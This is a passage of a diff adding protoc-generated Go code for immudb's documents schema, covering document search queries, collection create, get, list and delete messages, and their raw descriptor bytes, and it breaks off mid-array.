+ mi := &file_documentsschema_proto_msgTypes[3] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentQuery.ProtoReflect.Descriptor instead. +func (*DocumentQuery) Descriptor() ([]byte, []int) { + return file_documentsschema_proto_rawDescGZIP(), []int{3} +} + +func (x *DocumentQuery) GetField() string { + if x != nil { + return x.Field + } + return "" +} + +func (x *DocumentQuery) GetOperator() QueryOperator { + if x != nil { + return x.Operator + } + return QueryOperator_EQ +} + +func (x *DocumentQuery) GetValue() *_struct.Value { + if x != nil { + return x.Value + } + return nil +} + +type DocumentSearchRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Query []*DocumentQuery `protobuf:"bytes,2,rep,name=query,proto3" json:"query,omitempty"` + Page uint32 `protobuf:"varint,3,opt,name=page,proto3" json:"page,omitempty"` + PerPage uint32 `protobuf:"varint,4,opt,name=perPage,proto3" json:"perPage,omitempty"` +} + +func (x *DocumentSearchRequest) Reset() { + *x = DocumentSearchRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documentsschema_proto_msgTypes[4] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentSearchRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentSearchRequest) ProtoMessage() {} + +func (x *DocumentSearchRequest) ProtoReflect() protoreflect.Message { + mi := &file_documentsschema_proto_msgTypes[4] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentSearchRequest.ProtoReflect.Descriptor instead. +func (*DocumentSearchRequest) Descriptor() ([]byte, []int) { + return file_documentsschema_proto_rawDescGZIP(), []int{4} +} + +func (x *DocumentSearchRequest) GetCollection() string { + if x != nil { + return x.Collection + } + return "" +} + +func (x *DocumentSearchRequest) GetQuery() []*DocumentQuery { + if x != nil { + return x.Query + } + return nil +} + +func (x *DocumentSearchRequest) GetPage() uint32 { + if x != nil { + return x.Page + } + return 0 +} + +func (x *DocumentSearchRequest) GetPerPage() uint32 { + if x != nil { + return x.PerPage + } + return 0 +} + +type DocumentSearchResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Results []*_struct.Struct `protobuf:"bytes,1,rep,name=results,proto3" json:"results,omitempty"` + Page uint32 `protobuf:"varint,2,opt,name=page,proto3" json:"page,omitempty"` + PerPage uint32 `protobuf:"varint,3,opt,name=perPage,proto3" json:"perPage,omitempty"` + EntriesLeft uint32 `protobuf:"varint,4,opt,name=entriesLeft,proto3" json:"entriesLeft,omitempty"` +} + +func (x *DocumentSearchResponse) Reset() { + *x = DocumentSearchResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documentsschema_proto_msgTypes[5] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentSearchResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentSearchResponse) ProtoMessage() {} + +func (x *DocumentSearchResponse) ProtoReflect() protoreflect.Message { + mi := &file_documentsschema_proto_msgTypes[5] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentSearchResponse.ProtoReflect.Descriptor instead. +func (*DocumentSearchResponse) Descriptor() ([]byte, []int) { + return file_documentsschema_proto_rawDescGZIP(), []int{5} +} + +func (x *DocumentSearchResponse) GetResults() []*_struct.Struct { + if x != nil { + return x.Results + } + return nil +} + +func (x *DocumentSearchResponse) GetPage() uint32 { + if x != nil { + return x.Page + } + return 0 +} + +func (x *DocumentSearchResponse) GetPerPage() uint32 { + if x != nil { + return x.PerPage + } + return 0 +} + +func (x *DocumentSearchResponse) GetEntriesLeft() uint32 { + if x != nil { + return x.EntriesLeft + } + return 0 +} + +type IndexOption struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Type IndexType `protobuf:"varint,1,opt,name=type,proto3,enum=immudb.documentsschema.IndexType" json:"type,omitempty"` +} + +func (x *IndexOption) Reset() { + *x = IndexOption{} + if protoimpl.UnsafeEnabled { + mi := &file_documentsschema_proto_msgTypes[6] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *IndexOption) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*IndexOption) ProtoMessage() {} + +func (x *IndexOption) ProtoReflect() protoreflect.Message { + mi := &file_documentsschema_proto_msgTypes[6] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use IndexOption.ProtoReflect.Descriptor instead. +func (*IndexOption) Descriptor() ([]byte, []int) { + return file_documentsschema_proto_rawDescGZIP(), []int{6} +} + +func (x *IndexOption) GetType() IndexType { + if x != nil { + return x.Type + } + return IndexType_DOUBLE +} + +type CollectionCreateRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + PrimaryKeys map[string]*IndexOption `protobuf:"bytes,2,rep,name=primaryKeys,proto3" json:"primaryKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + IndexKeys map[string]*IndexOption `protobuf:"bytes,3,rep,name=indexKeys,proto3" json:"indexKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` +} + +func (x *CollectionCreateRequest) Reset() { + *x = CollectionCreateRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documentsschema_proto_msgTypes[7] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionCreateRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionCreateRequest) ProtoMessage() {} + +func (x *CollectionCreateRequest) ProtoReflect() protoreflect.Message { + mi := &file_documentsschema_proto_msgTypes[7] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionCreateRequest.ProtoReflect.Descriptor instead. +func (*CollectionCreateRequest) Descriptor() ([]byte, []int) { + return file_documentsschema_proto_rawDescGZIP(), []int{7} +} + +func (x *CollectionCreateRequest) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *CollectionCreateRequest) GetPrimaryKeys() map[string]*IndexOption { + if x != nil { + return x.PrimaryKeys + } + return nil +} + +func (x *CollectionCreateRequest) GetIndexKeys() map[string]*IndexOption { + if x != nil { + return x.IndexKeys + } + return nil +} + +type CollectionCreateResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collection *CollectionInformation `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` +} + +func (x *CollectionCreateResponse) Reset() { + *x = CollectionCreateResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documentsschema_proto_msgTypes[8] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionCreateResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionCreateResponse) ProtoMessage() {} + +func (x *CollectionCreateResponse) ProtoReflect() protoreflect.Message { + mi := &file_documentsschema_proto_msgTypes[8] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionCreateResponse.ProtoReflect.Descriptor instead. +func (*CollectionCreateResponse) Descriptor() ([]byte, []int) { + return file_documentsschema_proto_rawDescGZIP(), []int{8} +} + +func (x *CollectionCreateResponse) GetCollection() *CollectionInformation { + if x != nil { + return x.Collection + } + return nil +} + +type CollectionInformation struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + PrimaryKeys map[string]*IndexOption `protobuf:"bytes,2,rep,name=primaryKeys,proto3" json:"primaryKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + IndexKeys map[string]*IndexOption `protobuf:"bytes,3,rep,name=indexKeys,proto3" json:"indexKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` +} + +func (x *CollectionInformation) Reset() { + *x = CollectionInformation{} + if protoimpl.UnsafeEnabled { + mi := &file_documentsschema_proto_msgTypes[9] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionInformation) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionInformation) ProtoMessage() {} + +func (x *CollectionInformation) ProtoReflect() protoreflect.Message { + mi := &file_documentsschema_proto_msgTypes[9] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionInformation.ProtoReflect.Descriptor instead. +func (*CollectionInformation) Descriptor() ([]byte, []int) { + return file_documentsschema_proto_rawDescGZIP(), []int{9} +} + +func (x *CollectionInformation) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *CollectionInformation) GetPrimaryKeys() map[string]*IndexOption { + if x != nil { + return x.PrimaryKeys + } + return nil +} + +func (x *CollectionInformation) GetIndexKeys() map[string]*IndexOption { + if x != nil { + return x.IndexKeys + } + return nil +} + +type CollectionGetResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collection *CollectionInformation `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` +} + +func (x *CollectionGetResponse) Reset() { + *x = CollectionGetResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documentsschema_proto_msgTypes[10] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionGetResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionGetResponse) ProtoMessage() {} + +func (x *CollectionGetResponse) ProtoReflect() protoreflect.Message { + mi := &file_documentsschema_proto_msgTypes[10] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionGetResponse.ProtoReflect.Descriptor instead. +func (*CollectionGetResponse) Descriptor() ([]byte, []int) { + return file_documentsschema_proto_rawDescGZIP(), []int{10} +} + +func (x *CollectionGetResponse) GetCollection() *CollectionInformation { + if x != nil { + return x.Collection + } + return nil +} + +type CollectionGetRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` +} + +func (x *CollectionGetRequest) Reset() { + *x = CollectionGetRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documentsschema_proto_msgTypes[11] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionGetRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionGetRequest) ProtoMessage() {} + +func (x *CollectionGetRequest) ProtoReflect() protoreflect.Message { + mi := &file_documentsschema_proto_msgTypes[11] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionGetRequest.ProtoReflect.Descriptor instead. +func (*CollectionGetRequest) Descriptor() ([]byte, []int) { + return file_documentsschema_proto_rawDescGZIP(), []int{11} +} + +func (x *CollectionGetRequest) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +type CollectionListRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields +} + +func (x *CollectionListRequest) Reset() { + *x = CollectionListRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documentsschema_proto_msgTypes[12] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionListRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionListRequest) ProtoMessage() {} + +func (x *CollectionListRequest) ProtoReflect() protoreflect.Message { + mi := &file_documentsschema_proto_msgTypes[12] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionListRequest.ProtoReflect.Descriptor instead. +func (*CollectionListRequest) Descriptor() ([]byte, []int) { + return file_documentsschema_proto_rawDescGZIP(), []int{12} +} + +type CollectionListResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collections []*CollectionInformation `protobuf:"bytes,1,rep,name=collections,proto3" json:"collections,omitempty"` +} + +func (x *CollectionListResponse) Reset() { + *x = CollectionListResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documentsschema_proto_msgTypes[13] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionListResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionListResponse) ProtoMessage() {} + +func (x *CollectionListResponse) ProtoReflect() protoreflect.Message { + mi := &file_documentsschema_proto_msgTypes[13] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionListResponse.ProtoReflect.Descriptor instead. +func (*CollectionListResponse) Descriptor() ([]byte, []int) { + return file_documentsschema_proto_rawDescGZIP(), []int{13} +} + +func (x *CollectionListResponse) GetCollections() []*CollectionInformation { + if x != nil { + return x.Collections + } + return nil +} + +type CollectionDeleteRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` +} + +func (x *CollectionDeleteRequest) Reset() { + *x = CollectionDeleteRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documentsschema_proto_msgTypes[14] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionDeleteRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionDeleteRequest) ProtoMessage() {} + +func (x *CollectionDeleteRequest) ProtoReflect() protoreflect.Message { + mi := &file_documentsschema_proto_msgTypes[14] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionDeleteRequest.ProtoReflect.Descriptor instead. +func (*CollectionDeleteRequest) Descriptor() ([]byte, []int) { + return file_documentsschema_proto_rawDescGZIP(), []int{14} +} + +func (x *CollectionDeleteRequest) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +type CollectionDeleteResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Response *empty.Empty `protobuf:"bytes,1,opt,name=response,proto3" json:"response,omitempty"` +} + +func (x *CollectionDeleteResponse) Reset() { + *x = CollectionDeleteResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documentsschema_proto_msgTypes[15] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionDeleteResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionDeleteResponse) ProtoMessage() {} + +func (x *CollectionDeleteResponse) ProtoReflect() protoreflect.Message { + mi := &file_documentsschema_proto_msgTypes[15] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionDeleteResponse.ProtoReflect.Descriptor instead. +func (*CollectionDeleteResponse) Descriptor() ([]byte, []int) { + return file_documentsschema_proto_rawDescGZIP(), []int{15} +} + +func (x *CollectionDeleteResponse) GetResponse() *empty.Empty { + if x != nil { + return x.Response + } + return nil +} + +type Proof struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` +} + +func (x *Proof) Reset() { + *x = Proof{} + if protoimpl.UnsafeEnabled { + mi := &file_documentsschema_proto_msgTypes[16] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *Proof) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*Proof) ProtoMessage() {} + +func (x *Proof) ProtoReflect() protoreflect.Message { + mi := &file_documentsschema_proto_msgTypes[16] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use Proof.ProtoReflect.Descriptor instead. +func (*Proof) Descriptor() ([]byte, []int) { + return file_documentsschema_proto_rawDescGZIP(), []int{16} +} + +func (x *Proof) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +var File_documentsschema_proto protoreflect.FileDescriptor + +var file_documentsschema_proto_rawDesc = []byte{ + 0x0a, 0x15, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x16, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x1a, + 0x1c, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, + 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x1b, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x65, + 0x6d, 0x70, 0x74, 0x79, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x1c, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x73, 0x74, 0x72, 0x75, + 0x63, 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x0c, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x2c, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x2d, 0x67, + 0x65, 0x6e, 0x2d, 0x73, 0x77, 0x61, 0x67, 0x67, 0x65, 0x72, 0x2f, 0x6f, 0x70, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x6c, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, + 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, + 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x22, 0x4b, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, + 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x05, + 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x22, + 0xbc, 0x01, 0x0a, 0x0a, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x3b, + 0x0a, 0x0a, 0x6e, 0x75, 0x6c, 0x6c, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, + 0x52, 0x09, 0x6e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x23, 0x0a, 0x0c, 0x6e, + 0x75, 0x6d, 0x62, 0x65, 0x72, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x01, 0x48, 0x00, 0x52, 0x0b, 0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x56, 0x61, 0x6c, 0x75, 0x65, + 0x12, 0x23, 0x0a, 0x0c, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x0b, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, + 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x1f, 0x0a, 0x0a, 0x62, 0x6f, 0x6f, 0x6c, 0x5f, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x09, 0x62, 0x6f, 0x6f, + 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x42, 0x06, 0x0a, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x22, 0x96, + 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, + 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x41, 0x0a, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, + 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, + 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, + 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0xa2, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x12, 0x3b, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, + 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, + 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x9b, 0x01, 0x0a, + 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, + 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, + 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, + 0x67, 0x65, 0x18, 